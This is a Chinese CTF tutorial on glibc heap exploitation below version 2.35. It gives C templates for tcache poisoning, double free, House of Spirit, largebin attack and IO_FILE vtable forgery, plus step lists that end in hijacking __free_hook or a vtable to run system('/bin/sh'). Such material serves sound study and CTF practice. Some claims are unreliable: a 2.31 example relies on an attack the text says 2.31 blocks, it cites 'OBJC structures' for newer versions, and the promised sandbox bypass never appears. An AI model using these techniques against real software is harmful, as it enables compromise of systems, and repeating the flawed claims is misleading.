2.35版本以下堆沙盒绕过模板总结带例题
字数 2156 2025-08-22 12:23:42
2.35版本以下堆沙盒绕过模板总结与例题分析
1. 概述
本文总结了GLIBC 2.35版本以下堆沙盒(Heap Sandbox)绕过的各种技术模板,包括2.27、2.29、2.31等版本的工作原理、利用模板以及对应的CTF例题。这些技术主要应用于CTF比赛中的堆利用场景,帮助绕过各种沙盒保护机制。
2. 各版本堆管理机制特点
2.1 GLIBC 2.27版本
关键特性:
- 引入tcache机制,显著提高堆分配效率
- tcache bins默认包含64个单链表,每个链表最多7个chunk
- 缺乏对tcache double free的有效检查
- 缺乏对tcache poisoning的防护
利用点:
- tcache double free可以直接利用
- tcache poisoning攻击简单有效
- fastbin attack仍然可用
2.2 GLIBC 2.29版本
安全改进:
- 增加了tcache double free的检测机制
- 引入了tcache key机制防止double free
- 对fastbin attack进行了部分防护
绕过技术:
- 通过破坏tcache key来绕过double free检查
- 结合largebin attack等技术
- 利用unsorted bin attack
2.3 GLIBC 2.31版本
安全改进:
- 进一步强化了tcache保护
- 增加了对unsorted bin attack的防护
- 引入了更多的完整性检查
绕过技术:
- 利用largebin attack结合其他技术
- 通过house of系列攻击方法
- 利用IO_FILE结构体进行攻击
2.4 GLIBC 2.35版本
安全改进:
- 移除了__free_hook和__malloc_hook
- 加强了IO_FILE结构的保护
- 引入了更多的堆完整性检查
影响:
- 传统的hook利用方式失效
- 需要寻找新的利用点
3. 常见绕过模板
3.1 Tcache Poisoning (适用于2.27-2.31)
原理:
通过修改tcache中的fd指针,实现任意地址分配
模板代码:
// 分配两个chunk
char *a = malloc(0x20);
char *b = malloc(0x20);
// 释放到tcache
free(a);
free(b);
// 修改fd指针
// 假设有UAF漏洞可以修改b的fd
*(size_t *)b = target_address;
// 重新分配
malloc(0x20); // 得到a
malloc(0x20); // 得到b
malloc(0x20); // 得到target_address
3.2 Tcache Double Free (主要适用于2.27)
原理:
利用2.27版本缺乏tcache double free检查的特性
模板代码:
void *a = malloc(0x20);
free(a);
free(a); // 2.27下可以直接double free
// 现在tcache中有a->a
malloc(0x20); // 得到a
*(size_t *)a = target_address; // 修改fd
malloc(0x20); // 仍然得到a
malloc(0x20); // 得到target_address
3.3 House of Spirit (适用于所有版本)
原理:
伪造一个chunk并释放,然后重新分配
模板代码:
// 在可控区域伪造chunk
size_t fake_chunk[4];
fake_chunk[0] = 0; // prev_size
fake_chunk[1] = 0x21; // size (注意标志位)
fake_chunk[2] = 0; // fd
fake_chunk[3] = 0; // bk
// 释放伪造的chunk
free(&fake_chunk[2]);
// 重新分配
void *p = malloc(0x20); // 将分配到伪造的chunk位置
3.4 Largebin Attack (适用于2.29+)
原理:
利用largebin的插入机制修改目标地址的值
模板代码:
// 创建两个large chunk
void *a = malloc(0x400);
void *b = malloc(0x400);
// 释放到unsorted bin
free(a);
// 分配一个更大的chunk使a进入largebin
malloc(0x500);
// 修改a的bk_nextsize指针
// 需要某种形式的堆溢出或UAF
*(size_t *)(a + 0x28) = target_address - 0x20;
// 再分配一个large chunk触发攻击
free(b);
malloc(0x500); // 此时target_address会被写入一个堆地址
3.5 IO_FILE Exploitation (适用于2.31-2.35)
原理:
通过伪造IO_FILE结构体劫持程序流
模板代码:
// 伪造一个FILE结构体
struct _IO_FILE_plus fake_file;
// 设置vtable指针
fake_file.vtable = &fake_vtable;
// 设置各种flags
fake_file.file._flags = 0x800;
// 设置其他必要字段...
// 通过某种方式(如unsorted bin attack)修改_IO_list_all指针
// 触发abort流程时将会调用我们的伪造vtable
4. 例题分析
例题1: 2.27 Tcache Double Free
题目特点:
- GLIBC 2.27环境
- 有UAF漏洞
- 可以多次free同一个指针
利用步骤:
- 分配两个0x20大小的chunk
- 对其中一个chunk进行double free
- 修改fd指针指向__free_hook
- 分配chunk到__free_hook
- 将__free_hook修改为system地址
- 释放一个包含"/bin/sh"的chunk获取shell
例题2: 2.29 Largebin Attack + Tcache Poisoning
题目特点:
- GLIBC 2.29环境
- 有堆溢出漏洞
- 可以分配large chunk
利用步骤:
- 分配两个large chunk并释放其中一个到unsorted bin
- 通过堆溢出修改largebin的bk_nextsize指针
- 触发largebin attack在目标地址写入堆地址
- 使用tcache poisoning分配chunk到目标区域
- 修改关键数据或劫持控制流
例题3: 2.31 IO_FILE Exploit
题目特点:
- GLIBC 2.31环境
- 可以分配大块内存
- 程序结束时调用exit()
利用步骤:
- 使用unsorted bin attack修改_IO_list_all指针
- 伪造一个IO_FILE结构体和vtable
- 设置vtable中的函数指针为system
- 设置FILE结构体的相关字段使其通过检查
- 触发abort流程时执行system("/bin/sh")
5. 防御措施与检测方法
防御措施:
- 升级到GLIBC 2.35或更高版本
- 使用ASLR和PIE增加利用难度
- 启用FULL RELRO保护GOT表
- 使用堆栈保护机制如Stack Canary
检测方法:
- 监控异常的堆操作序列
- 检查tcache的完整性
- 验证IO_FILE结构的合法性
- 检测异常的vtable调用
6. 总结
GLIBC堆利用技术在不断演进,随着新版本的发布,旧的技术会失效,新的技术会出现。理解堆管理机制的工作原理是开发利用技术的关键。在2.35版本以下,tcache poisoning、largebin attack和IO_FILE利用是最常用的技术。对于2.35及以上版本,需要探索新的利用点如OBJC相关结构等。